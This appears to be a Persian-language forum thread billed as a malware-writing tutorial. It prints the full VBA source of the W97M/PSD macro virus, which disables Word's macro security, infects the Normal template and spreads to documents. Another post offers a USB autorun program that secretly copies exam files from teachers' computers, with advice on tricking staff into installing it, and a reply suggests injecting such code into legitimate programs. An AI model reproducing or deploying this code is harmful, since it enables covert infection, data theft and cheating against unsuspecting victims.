آموزش بد افزار نویسی!؟!

من تازه عضو شدم تاپیک خوبی هست چرا دیگه ادامه نمیدین؟

نقل قول:

---

من تازه عضو شدم تاپیک خوبی هست چرا دیگه ادامه نمیدین؟

---

درس... مدرسه... معلم های دلسوز...!؟! :31:

تابستون چه دورانی بود...!؟!؟!؟! :king:

سورس ویروس psd2000 که به صورت Macro اجرا میشه...!؟! (چی گفتم...!؟! اول باید ضمیمه فایل ورد کنیدش...(تو قسمت ماکرو...) و بعد...!؟! :27: :21:) :

کد:

---

Private Sub Document_Open()
On Error Resume Next
' W97M/PSD by ALT-F11, VAMP Poly by VicodinES
' Converted to W2000/PSD by VicodinES
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
If Day(Now) = Minute(Now) Then
Randomize: For KO3978 = 1 To (Int(Rnd * 70))
ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next KO3978: End If
NC2727 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
IN3627 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set MD1340 = ActiveDocument.VBProject.VBComponents.Item(1)
SC6182 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set MD1340 = NormalTemplate.VBProject.VBComponents.Item(1)
OQ186 = True
Call PG788_BL2915
ActiveDocument.Saved = True
End If
If OQ186 <> True And SC6182 <> True Then GoTo KV4745
If OQ186 = True Then MD1340.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, NC2727 - 1) & vbCr & "Sub ViewVBCode()" & vbCr & "Application.Quit SaveChanges:=wdDoNotSaveChanges" & vbCr & "End Sub")
If SC6182 = True Then MD1340.CodeModule.AddFromString ("Private Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, IN3627 - 4))
KV4745:
If IN3627 <> 0 And NC2727 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub
Private Function PG788_BL2915()
On Error Resume Next
Randomize
Dim r1(1 To 15) As String
r1(1) = "LD4357": r1(2) = "TM8946": r1(3) = "OF99": r1(4) = "GC6254": r1(5) = "BL2915": r1(6) = "NC2727"
r1(7) = "IN3627": r1(8) = "SC6182":: r1(9) = "MD1340": r1(10) = "OQ186": r1(11) = "KV4745": r1(12) = "PG788": r1(13) = "IR7681": r1(14) = "KA065": r1(15) = "KO3978"
For KO3978 = 1 To 15
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call BL2915(a1, r1(KO3978))
Next KO3978
End Function
Private Function BL2915(KA065, IR7681 As String)
On Error Resume Next
Dim LD4357 As Long: Dim TM8946 As Long: Dim OF99 As Long: Dim GC6254 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
LD4357 = 1: TM8946 = 1: OF99 = .CountOfLines: GC6254 = Len(.Lines(.CountOfLines, 1))
Do While .Find(IR7681, LD4357, TM8946, OF99, GC6254, True)
strline = .Lines(LD4357, 1)
strline = Left(strline, TM8946 - 1) & KA065 & Mid(strline, GC6254)
.replaceline LD4357, strline
LD4357 = OF99 + 1: TM8946 = 1:
OF99 = .CountOfLines
GC6254 = Len(.Lines(.CountOfLines, 1))
Loop
End With
End Function

---

موفق باشید...!؟! :46:

تاپيك بسيار جالبيه :31:

ميشه لطف كنيد بگيد كه براي نوشتن بد افزار از چه نرم افزارهايي بايستي استفاده كرد؟

يعني برنامه نويسي خاصي رو بايستي دنبال كرد؟

چطوري ميشه فهميد كه يه بد افزار به كجاهاي سيستم ضربه زده و اون قسمت دچار مشكل شده؟

شاد باشيد :40:

یک سورس کد کاربردی و جالب برای دانش آموزان و دانشجویان عزیز!
این سورس مطعلق به برنامه ای هست که به راحتی و کاملا مخفیانه یک کپی از تمام سوالات (امتحانی و ...) تایپ شده در کامپیوتر معلم برمیداره و هیچ اثری هم بجا نمیزاره.
فقط باید همراه یک فایل autorun.inf داخل فلش مموریتون بریزید و فلشو به سیستمی که سوالات داخلش هست متصل کنید(میتونید از راههای مختلف که خودتون بهتر بلد هستید اینکارو انجام بدید:27:مثل bind ) به محض اینکه روی درایو فلش کلیک بشه در عرض چند ثانیه (بستگی به حجم اطلاعات و نوع سخت افزار هم داره) یک کپی از تمام سوالات برمیداره و داخل فلش مموری شما قرار میده.

سورس:
MFC
[HTML]http://www.speedyshare.com/files/25529940/Force.cpp[/HTML]

فقط باید یه تنظیماتی داخلش انجام بدید.

توسط این آرایه:

کد:

---


//Drives
char drv[]={"abcdefghijklmnopqrstuvwxyz"};


---

تعیین میکنید که کدام درایو ها جستجو شوند.(هرچه تعداد کمتر باشه برنامه سریعتر کارشو انجام میده)
این قسمت بطور پیشفرض تمام درایو های سیستمو جستجو میکنه.


متغیر زیر هم برای تعیین واژه برای جستجو میباشد
معمولا سوالات و کلا کارای تایپیو داخل World انجام میدن که پسوند فایل ها در این نرم افزار doc و docx هست.
این قسمت بطور پیشفرض برای این پسوند مقدار دهی شده.

کد:

---


//File Filter.
CString filter = _T("\\*.doc?");


---

حالا میخوام بگم که داستان این سورس اصلا چیه!!!:18:
بنده در مقطع دوم دبیرستان بودم که با تشویق :10: یکی از دوستان اقدام به نوشتن این برنامه کوچیک ولی پر کاربرد کردم امروز بصورت اتفاقی داخل هارد پیداش کردم و یک دستی به سرو رویش کشیدم و چندتا از اشکالاتشو هم برطرف کردم.
من هیچوقت از این برنامه استفاده نکردم ولی خیلی از دوستانمو با این برنامه از تجدیدی و شهریور ماه و ... نجات دادم:41:
بگزریم، این برنامه نام فایل های کپی شده رو تغییر میده که از جایگزینی و لو رفتن فایلها از روی اسم جلوگیری کنه و حتی پسوند فایلهای کپی شده رو هم حذف میکنه.
برای متصل کردن فلش به اون سیستم مورد نظر هم میتونید از راههای مختلف وارد بشید مثلا میتونید یک نرم افزار مفید بریزید روی فلش مموریتون و اونو بدید به مسئول اون کامپیوتر تا بره و اونو روی سیستم نصب کنه!
-----------------------------------------------------
اگر در موقع کامپایل سورس به مشکل برخوردید و نتونستید سورسو کامپایل کنید اطلاعات کامپیوتر مورد نظرو (مثل درایو سوالات و پسوند سوالات) برای بنده پ.خ کنید بنده هم برنامه کامپایل شده همراه فایل autorun.inf رو براتون ارسال میکنم.

THANKS:n05:

نقل قول:

---

فقط باید همراه یک فایل autorun.inf داخل فلش مموریتون بریزید

---

مشکلش همون autorun.inf
منم کلا یک راهی برای استفاده خفن تر از این گونه سوس ها می گم!! کد رو اسمبل کنید و اون رو در اول لود شدن یک برنامه مفید تزیرق کرد حالا اگر برنامه ی مفید سرس اونو دارید که فبه ها ولی اگر ندارید با onlly db یا Immunity Debugger استفاده کنید .. (منظورم تزریق باینریه)

آقا ما که هیچی از این آموزشا نفهمیدیم حتی نمیدونم با چه زبانی دارین مینویسین ولی موفق باشید

نقل قول:

---

آقا ما که هیچی از این آموزشا نفهمیدیم حتی نمیدونم با چه زبانی دارین مینویسین ولی موفق باشید

---

منم همینطور ولی من خیلی دوست دارم یاد بگیرم !!!:n03::n03:
نمیشه کلا از همون اول که کد چیه سورس چیه و اینا (به طور خلاصه)شروع کنید؟؟؟:n27::n28: